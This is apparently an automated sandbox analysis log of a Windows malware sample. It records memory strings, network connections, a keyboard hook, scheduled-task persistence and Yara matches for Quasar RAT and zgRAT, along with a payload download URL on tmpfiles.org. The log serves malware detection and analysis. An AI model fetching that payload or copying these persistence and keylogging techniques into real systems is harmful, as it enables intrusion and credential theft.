Source: svchost.exe, 0000000D.00000003.2105915446.0000027EC175A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80601&fid=cp8
Source: svchost.exe, 0000000D.00000002.4102771346.0000027EC0E2B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/InlinePOPAuth.srf?id=80605
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4104041083.0000027EC1E35000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/SHA1Auth.srf
Source: svchost.exe, 0000000D.00000003.2105360073.0000027EC1710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceaddcredential.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/devicechangecredential.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/ppsecure/deviceremovecredential.srfLive
Source: svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/resetpw.srf
Source: svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/retention.srf
Source: svchost.exe, 0000000D.00000002.4103556512.0000027EC0EE5000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4103455410.0000027EC0ECA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srf
Source: svchost.exe, 0000000D.00000002.4103556512.0000027EC0EE5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com:443/RST2.srfityCRL
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf
Source: svchost.exe, 0000000D.00000002.4102923997.0000027EC0E5F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/MSARST2.srf~
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srf
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceAssociate.srfJ
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf.
Source: svchost.exe, 0000000D.00000003.2105360073.0000027EC1710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceDisassociate.srf:CLSID
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceQuery.srf-
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/DeviceUpdate.srf%
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/EnumerateDevices.srf
Source: svchost.exe, 0000000D.00000003.2108146136.0000027EC1763000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2108097283.0000027EC1740000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/ResolveUser.srf
Source: svchost.exe, 0000000D.00000003.2105360073.0000027EC1710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceaddmsacredential.srf
Source: svchost.exe, 0000000D.00000003.2108371573.0000027EC1727000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfMM
Source: svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/devicechangecredential.srfen
Source: svchost.exe, 0000000D.00000003.2105360073.0000027EC1710000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srf
Source: svchost.exe, 0000000D.00000003.2105360073.0000027EC1710000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com/ppsecure/deviceremovecredential.srfRE
Source: qmgr.db.12.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:
Source: svchost.exe, 0000000D.00000003.2107864391.0000027EC173B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.4102843006.0000027EC0E45000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000003.2104497925.0000027EC172C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://signup.live.com/signup.aspx
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, svchost.exe, 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/11564914/23354;
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, svchost.exe, 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4552683302.00000000059A2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/14436606/23354
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, svchost.exe, 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://stackoverflow.com/q/2152978/23354sCannot
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: aspnet_regiis.exe, 00000014.00000003.2794714048.000000002F806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.GVegJq3nFfBL
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/9042030/ovrflw.exe
Source: axplong.exe, 00000002.00000002.4458206583.00000000015FF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://tmpfiles.org/dl/9042030/ovrflw.exeQ
Source: FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, FRaqbC8wSA1XvpFVjCRGryWt.exe, 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, svchost.exe, 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://tools.keycdn.com/geo.json
Source: aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477
Source: aspnet_regiis.exe, 00000014.00000002.2829566598.00000000295E5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: VP2pdCInvS.exe, 0000000B.00000002.2236098359.0000000003BCB000.00000004.00000800.00020000.00000000.sdmp, VP2pdCInvS.exe, 0000000B.00000002.2231034006.00000000031EB000.00000004.00000800.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000003.2711798352.0000000003376000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ECBGIIJK
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/ECBGIIJK---DHCAECGIEBKJKEBGDHDA
Source: aspnet_regiis.exe, 00000014.00000003.2794714048.000000002F806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.CDjelnmQJyZc
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp, aspnet_regiis.exe, 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: aspnet_regiis.exe, 00000014.00000003.2794714048.000000002F806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.b3lOZaxJcpF6
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/npvZC5maWxl
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: aspnet_regiis.exe, 00000014.00000003.2794714048.000000002F806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.00000000004A6000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: aspnet_regiis.exe, 00000014.00000003.2794714048.000000002F806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/media/img/mozorg/mozilla-256.4720741d4108.jpg
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: aspnet_regiis.exe, 00000014.00000003.2794714048.000000002F806000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: aspnet_regiis.exe, 00000014.00000002.2811418680.000000000054A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

Source: unknown	Network traffic detected: HTTP traffic on port 59071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 59390 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58992
Source: unknown	Network traffic detected: HTTP traffic on port 59087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 58984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59214
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59087
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59079
Source: unknown	Network traffic detected: HTTP traffic on port 59214 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 58992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 59390

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.5:58984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 15.235.80.22:443 -> 192.168.2.5:58992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:59071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:59079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.21.16:443 -> 192.168.2.5:59087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.11.5:443 -> 192.168.2.5:59214 version: TLS 1.2

Key, Mouse, Clipboard, Microphone and Screen Capturing

Installs a global keyboard hook

Source: C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe

Windows user hook set: 0 keyboard low level C:\Users\user\AppData\Roaming\Microsoft Windows\svchost.exe

Source: Z73fDV6g4L.exe, 00000009.00000002.2110715381.0000000003084000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_44e01a3a-0

E-Banking Fraud

Yara detected Quasar RAT

Source: Yara match	File source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000002A.00000002.4452302176.00000000001B2000.00000040.00000001.01000000.00000020.sdmp, type: MEMORY
Source: Yara match	File source: 0000002A.00000003.4159859843.0000000005800000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000002.4134787389.0000000000F62000.00000040.00000001.01000000.0000001F.sdmp, type: MEMORY
Source: Yara match	File source: 00000026.00000003.4083127627.0000000005770000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: FRaqbC8wSA1XvpFVjCRGryWt.exe PID: 2020, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 1772, type: MEMORYSTR

Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp2E7A.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Roaming\VP2pdCInvS.exe	File created: C:\Users\user\AppData\Local\Temp\Tmp2E6A.tmp			Jump to dropped file

Spam, unwanted Advertisements and Ransom Demands

Reads the System eventlog

Source: C:\Users\user\AppData\Local\Temp\1000241001\see.exe

Key opened: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\EventLog\System

System Summary

Malicious sample detected (through community Yara rule)

Source: 5.2.RegAsm.exe.482040.2.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 5.2.RegAsm.exe.482040.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 5.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 9.0.Z73fDV6g4L.exe.aa0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects zgRAT Author: ditekSHen
Source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 42.2.svchost.exe.1b0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects QuasarRAT malware Author: Florian Roth
Source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing common artifcats observed in infostealers Author: ditekSHen
Source: 38.2.FRaqbC8wSA1XvpFVjCRGryWt.exe.f60000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Quasar infostealer Author: ditekshen
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe, type: DROPPED	Matched rule: Detects zgRAT Author: ditekSHen

.NET source code contains very large array initializations

Source: 5.2.RegAsm.exe.482040.2.raw.unpack, Strings.cs	Large array initialization: Strings: array initializer size 6160
Source: 34.3.espartu.exe.11cca80.0.raw.unpack, Strings.cs	Large array initialization: Strings: array initializer size 6160
Source: 34.3.espartu.exe.12121c0.1.raw.unpack, Strings.cs	Large array initialization: Strings: array initializer size 6160

PE file contains section with special chars

Source: mlk3kK6uLZ.exe	Static PE information: section name:
Source: mlk3kK6uLZ.exe	Static PE information: section name: .idata
Source: mlk3kK6uLZ.exe	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name:
Source: axplong.exe.0.dr	Static PE information: section name: .idata
Source: axplong.exe.0.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\AppData\Local\Temp\1000202001\hello.exe

Code function: 18_2_6C386970 GetModuleHandleW,NtQueryInformationProcess,

18_2_6C386970

Source: C:\Users\user\Desktop\mlk3kK6uLZ.exe	File created: C:\Windows\Tasks\axplong.job	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp
Source: C:\Users\user\AppData\Local\Temp\1000226001\Freshbuild.exe	File created: C:\Windows\Tasks\Hkbsse.job

Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_009C4CD0	2_2_009C4CD0
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A03048	2_2_00A03048
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D88	2_2_00A18D88
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D20	2_2_00A18D20
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D20	2_2_00A18D20
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D20	2_2_00A18D20
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D20	2_2_00A18D20
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D20	2_2_00A18D20
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D34	2_2_00A18D34
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D38	2_2_00A18D38
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D3C	2_2_00A18D3C
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D18	2_2_00A18D18
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D18	2_2_00A18D18
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D20	2_2_00A18D20
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D20	2_2_00A18D20
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A18D3C	2_2_00A18D3C
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_009F7D63	2_2_009F7D63
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A06EE9	2_2_00A06EE9
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_009C4AD0	2_2_009C4AD0
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A0763B	2_2_00A0763B
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A02BB0	2_2_00A02BB0
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A08700	2_2_00A08700
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Code function: 2_2_00A0775B	2_2_00A0775B
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AA2880	4_2_00AA2880
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AC9000	4_2_00AC9000
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00ABB1BC	4_2_00ABB1BC
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB12FC	4_2_00AB12FC
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AA3320	4_2_00AA3320
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB9E36	4_2_00AB9E36
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB5610	4_2_00AB5610
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AB1644	4_2_00AB1644
Source: C:\Users\user\AppData\Local\Temp\1000160001\leg222.exe	Code function: 4_2_00AC3755	4_2_00AC3755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00402320	5_2_00402320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004050C0	5_2_004050C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00420470	5_2_00420470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040FCF0	5_2_0040FCF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00419D19	5_2_00419D19
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041951B	5_2_0041951B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00415635	5_2_00415635
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0041DEC3	5_2_0041DEC3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00404F00	5_2_00404F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040CF8F	5_2_0040CF8F
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_02C82C48	9_2_02C82C48
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_02C80868	9_2_02C80868
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_02C80878	9_2_02C80878
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_02C82C38	9_2_02C82C38
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_053A4C18	9_2_053A4C18
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_053A37B8	9_2_053A37B8
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_053A37A9	9_2_053A37A9
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_053A17FC	9_2_053A17FC
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_053A5310	9_2_053A5310
Source: C:\Users\user\AppData\Roaming\Z73fDV6g4L.exe	Code function: 9_2_053A5351	9_2_053A5351
